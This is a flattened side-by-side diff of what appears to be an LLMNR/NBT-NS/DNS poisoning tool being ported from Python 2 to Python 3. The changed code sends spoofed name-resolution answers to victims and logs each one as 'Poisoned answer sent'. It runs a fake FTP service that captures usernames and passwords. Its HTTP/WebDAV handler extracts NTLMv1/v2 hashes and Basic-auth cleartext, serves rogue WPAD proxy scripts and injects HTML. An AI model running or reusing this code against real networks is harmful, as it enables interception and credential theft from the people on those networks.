Buffer.calculate(data) Buffer1.calculate(data)
socket.sendto(str(Buffer), self.client_address) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [NBT-NS]" LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

View File

@@ -14,40 +14,43 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler
from utils import * from utils import *
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
import struct import struct
def WorkstationFingerPrint(data): def WorkstationFingerPrint(data):
return { return {
"\x04\x00" :"Windows 95", b"\x04\x00" :"Windows 95",
"\x04\x0A" :"Windows 98", b"\x04\x0A" :"Windows 98",
"\x04\x5A" :"Windows ME", b"\x04\x5A" :"Windows ME",
"\x05\x00" :"Windows 2000", b"\x05\x00" :"Windows 2000",
"\x05\x01" :"Windows XP", b"\x05\x01" :"Windows XP",
"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008", b"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2", b"\x06\x01" :"Windows 7/Server 2008R2",
"\x06\x02" :"Windows 8/Server 2012", b"\x06\x02" :"Windows 8/Server 2012",
"\x06\x03" :"Windows 8.1/Server 2012R2", b"\x06\x03" :"Windows 8.1/Server 2012R2",
"\x0A\x00" :"Windows 10/Server 2016", b"\x0A\x00" :"Windows 10/Server 2016",
}.get(data, 'Unknown') }.get(data, 'Unknown')
def RequestType(data): def RequestType(data):
return { return {
"\x01": 'Host Announcement', b"\x01": 'Host Announcement',
"\x02": 'Request Announcement', b"\x02": 'Request Announcement',
"\x08": 'Browser Election', b"\x08": 'Browser Election',
"\x09": 'Get Backup List Request', b"\x09": 'Get Backup List Request',
"\x0a": 'Get Backup List Response', b"\x0a": 'Get Backup List Response',
"\x0b": 'Become Backup Browser', b"\x0b": 'Become Backup Browser',
"\x0c": 'Domain/Workgroup Announcement', b"\x0c": 'Domain/Workgroup Announcement',
"\x0d": 'Master Announcement', b"\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement', b"\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement', b"\x0f": 'Local Master Announcement',
}.get(data, 'Unknown') }.get(data, 'Unknown')
@@ -55,13 +58,13 @@ def PrintServerName(data, entries):
if entries <= 0: if entries <= 0:
return None return None
entrieslen = 26 * entries entrieslen = 26 * entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries chunks, chunk_size = len(data[:entrieslen]), entrieslen//entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
l = [] l = []
for x in ServerName: for x in ServerName:
fingerprint = WorkstationFingerPrint(x[16:18]) fingerprint = WorkstationFingerPrint(x[16:18])
name = x[:16].replace('\x00', '') name = x[:16].strip(b'\x00').decode('latin-1')
l.append('%s (%s)' % (name, fingerprint)) l.append('%s (%s)' % (name, fingerprint))
return l return l
@@ -70,24 +73,24 @@ def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0] PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2] StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00": if StatusCode == b'\x00\x00':
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0] EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum) return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return None return ''
def RAPThisDomain(Client,Domain): def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None: if PDC is not None:
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)) print(text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)))
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00") SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None: if SQL is not None:
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))) print(text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))))
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff") WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None: if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) print(text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))))
def RapFinger(Host, Domain, Type): def RapFinger(Host, Domain, Type):
@@ -101,49 +104,49 @@ def RapFinger(Host, Domain, Type):
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)#struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer))
data = s.recv(1024) data = s.recv(1024)
# Session Setup AndX Request, Anonymous. # Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",mid="\x02\x00") Header = SMBHeader(cmd="\x73",mid="\x02\x00")
Body = SMBSessionData() Body = SMBSessionData()
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer))
data = s.recv(1024) data = s.recv(1024)
# Tree Connect IPC$. # Tree Connect IPC$.
if data[8:10] == "\x73\x00": if data[8:10] == b'\x73\x00':
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34].decode('latin-1'),mid="\x03\x00")
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer))
data = s.recv(1024) data = s.recv(1024)
# Rap ServerEnum. # Rap ServerEnum.
if data[8:10] == "\x75\x00": if data[8:10] == b'\x75\x00':
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x04\x00")
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
Body.calculate() Body.calculate()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(Buffer) s.send(NetworkSendBufferPython2or3(Buffer))
data = s.recv(64736) data = s.recv(64736)
# Rap ServerEnum, Get answer and return what we're looking for. # Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00": if data[8:10] == b'\x25\x00':
s.close() s.close()
return ParsePacket(data) return ParsePacket(data)
except: except:
@@ -162,8 +165,10 @@ def BecomeBackup(data,Client):
Role = NBT_NS_Role(data[45:48]) Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
print RAPThisDomain(Client, Domain) RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)
except: except:
pass pass
@@ -177,8 +182,10 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
print RAPThisDomain(Client, Domain) RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)
except: except:
pass pass
@@ -189,7 +196,7 @@ class Browser(BaseRequestHandler):
request, socket = self.request request, socket = self.request
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0]) ParseDatagramNBTNames(NetworkRecvBufferPython2or3(request),self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0])

View File

@@ -14,9 +14,12 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from packets import DNS_Ans
from SocketServer import BaseRequestHandler
from utils import * from utils import *
from packets import DNS_Ans
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
def ParseDNSType(data): def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:] QueryTypeClass = data[len(data)-4:]
@@ -34,14 +37,12 @@ class DNS(BaseRequestHandler):
try: try:
data, soc = self.request data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(data) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(str(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception: except Exception:
pass pass
@@ -55,14 +56,12 @@ class DNSTCP(BaseRequestHandler):
try: try:
data = self.request.recv(1024) data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(data) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(str(buff)) self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception: except Exception:
pass pass

View File

@@ -15,27 +15,31 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
from SocketServer import BaseRequestHandler if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import FTPPacket from packets import FTPPacket
class FTP(BaseRequestHandler): class FTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.send(str(FTPPacket())) self.request.send(NetworkSendBufferPython2or3(FTPPacket()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "USER": if data[0:4] == b'USER':
User = data[5:].strip() User = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="331",Message="User name okay, need password.") Packet = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "PASS": if data[0:4] == b'PASS':
Pass = data[5:].strip() Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.") Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024) data = self.request.recv(1024)
SaveToDb({ SaveToDb({
@@ -49,7 +53,7 @@ class FTP(BaseRequestHandler):
else: else:
Packet = FTPPacket(Code="502",Message="Command not implemented.") Packet = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:

View File

@@ -15,10 +15,13 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct
from SocketServer import BaseRequestHandler, StreamRequestHandler import codecs
from base64 import b64decode
from utils import * from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler, StreamRequestHandler
else:
from SocketServer import BaseRequestHandler, StreamRequestHandler
from base64 import b64decode, b64encode
from packets import NTLM_Challenge from packets import NTLM_Challenge
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
from packets import WPADScript, ServeExeFile, ServeHtmlFile from packets import WPADScript, ServeExeFile, ServeHtmlFile
@@ -28,28 +31,29 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
def ParseHTTPHash(data, Challenge, client, module): def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0] LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0] LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[20:22])[0] NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0] NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() NTHash = data[NthashOffset:NthashOffset+NthashLen]
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
UserLen = struct.unpack('<H',data[36:38])[0] UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0] UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','') User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
if NthashLen == 24: if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0] HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0] HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','') HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
SaveToDb({ SaveToDb({
'module': module, 'module': module,
'type': 'NTLMv1', 'type': 'NTLMv1',
'client': client, 'client': client,
'host': HostName, 'host': HostName,
'user': User, 'user': User,
'hash': LMHash+":"+NTHash, 'hash': LMHashFinal+':'+NTHashFinal,
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
@@ -57,19 +61,18 @@ def ParseHTTPHash(data, Challenge, client, module):
NthashLen = 64 NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0] DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0] DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','') Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0] HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0] HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','') HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
SaveToDb({ SaveToDb({
'module': module, 'module': module,
'type': 'NTLMv2', 'type': 'NTLMv2',
'client': client, 'client': client,
'host': HostName, 'host': HostName,
'user': Domain + '\\' + User, 'user': Domain + '\\' + User,
'hash': NTHash[:32] + ":" + NTHash[32:], 'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
@@ -79,7 +82,7 @@ def GrabCookie(data, host):
if Cookie: if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '') Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose: if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie) print(text("[HTTP] Cookie : %s " % Cookie))
return Cookie return Cookie
return False return False
@@ -89,7 +92,7 @@ def GrabHost(data, host):
if Host: if Host:
Host = Host.group(0).replace('Host: ', '') Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3)) print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host return Host
return False return False
@@ -99,21 +102,21 @@ def GrabReferer(data, host):
if Referer: if Referer:
Referer = Referer.group(0).replace('Referer: ', '') Referer = Referer.group(0).replace('Referer: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Referer : %s " % color(Referer, 3)) print(text("[HTTP] Referer : %s " % color(Referer, 3)))
return Referer return Referer
return False return False
def SpotFirefox(data): def SpotFirefox(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent: if UserAgent:
print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)) print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
IsFirefox = re.search('Firefox', UserAgent[0]) IsFirefox = re.search('Firefox', UserAgent[0])
if IsFirefox: if IsFirefox:
print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1) print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1) print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
return True return True
else: else:
return False return False
def WpadCustom(data, client): def WpadCustom(data, client):
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
@@ -155,7 +158,7 @@ def RespondWithFile(client, filename, dlname=None):
Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer = ServeHtmlFile(Payload = ServeFile(filename))
Buffer.calculate() Buffer.calculate()
print text("[HTTP] Sending file %s to %s" % (filename, client)) print(text("[HTTP] Sending file %s to %s" % (filename, client)))
return str(Buffer) return str(Buffer)
def GrabURL(data, host): def GrabURL(data, host):
@@ -164,13 +167,13 @@ def GrabURL(data, host):
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
if GET and settings.Config.Verbose: if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) print(text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))))
if POST and settings.Config.Verbose: if POST and settings.Config.Verbose:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) print(text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))))
if len(''.join(POSTDATA)) > 2: if len(''.join(POSTDATA)) > 2:
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) print(text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()))
# Handle HTTP packet sequence. # Handle HTTP packet sequence.
def PacketSequence(data, client, Challenge): def PacketSequence(data, client, Challenge):
@@ -187,41 +190,40 @@ def PacketSequence(data, client, Challenge):
WPAD_Custom = WpadCustom(data, client) WPAD_Custom = WpadCustom(data, client)
# Webdav # Webdav
if ServeOPTIONS(data): if ServeOPTIONS(data):
return ServeOPTIONS(data) return ServeOPTIONS(data)
if NTLM_Auth: if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
print "Challenge 2:", Challenge.encode('hex') if Packet_NTLM == b'\x01':
if Packet_NTLM == "\x01":
GrabURL(data, client) GrabURL(data, client)
GrabReferer(data, client) GrabReferer(data, client)
GrabHost(data, client) GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=Challenge) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate() Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
Buffer_Ans.calculate(str(Buffer)) #Buffer_Ans.calculate(Buffer)
return str(Buffer_Ans) return Buffer_Ans
if Packet_NTLM == "\x03": if Packet_NTLM == b'\x03':
NTLM_Auth = b64decode(''.join(NTLM_Auth)) NTLM_Auth = b64decode(''.join(NTLM_Auth))
if IsWebDAV(data): if IsWebDAV(data):
module = "WebDAV" module = "WebDAV"
else: else:
module = "HTTP" module = "HTTP"
ParseHTTPHash(NTLM_Auth, Challenge, client, module) ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print(text("[HTTP] WPAD (auth) file sent to %s" % client))
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return NetworkSendBufferPython2or3(Buffer)
elif Basic_Auth: elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth)) ClearText_Auth = b64decode(''.join(Basic_Auth))
@@ -235,77 +237,78 @@ def PacketSequence(data, client, Challenge):
'module': 'HTTP', 'module': 'HTTP',
'type': 'Basic', 'type': 'Basic',
'client': client, 'client': client,
'user': ClearText_Auth.split(':')[0], 'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.split(':')[1], 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
}) })
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client) print(text("[HTTP] WPAD (auth) file sent to %s" % client))
return WPAD_Custom return WPAD_Custom
else: else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return NetworkSendBufferPython2or3(Buffer)
else: else:
if settings.Config.Basic: if settings.Config.Basic:
Response = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client) print(text("[HTTP] Sending BASIC authentication request to %s" % client))
else: else:
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending NTLM authentication request to %s" % client) print(text("[HTTP] Sending NTLM authentication request to %s" % client))
return str(Response) return Response
# HTTP Server class # HTTP Server class
class HTTP(BaseRequestHandler): class HTTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge() Challenge = RandomChallenge()
for x in range(2): while True:
self.request.settimeout(3) self.request.settimeout(3)
data = self.request.recv(8092) remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
if buff == '':
break
data += buff
remaining -= len(buff)
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
if remaining <= 0:
break
if data == "":
break
#now the data variable has the full request
Buffer = WpadCustom(data, self.client_address[0]) Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False: if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
self.request.close() self.request.close()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
else: else:
Buffer = PacketSequence(data,self.client_address[0], Challenge) Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
except socket.error: except socket.error:
pass pass
# HTTPS Server class
class HTTPS(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
Challenge = RandomChallenge()
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.exchange.send(Buffer)
except:
pass

View File

@@ -14,13 +14,18 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import urlparse from utils import *
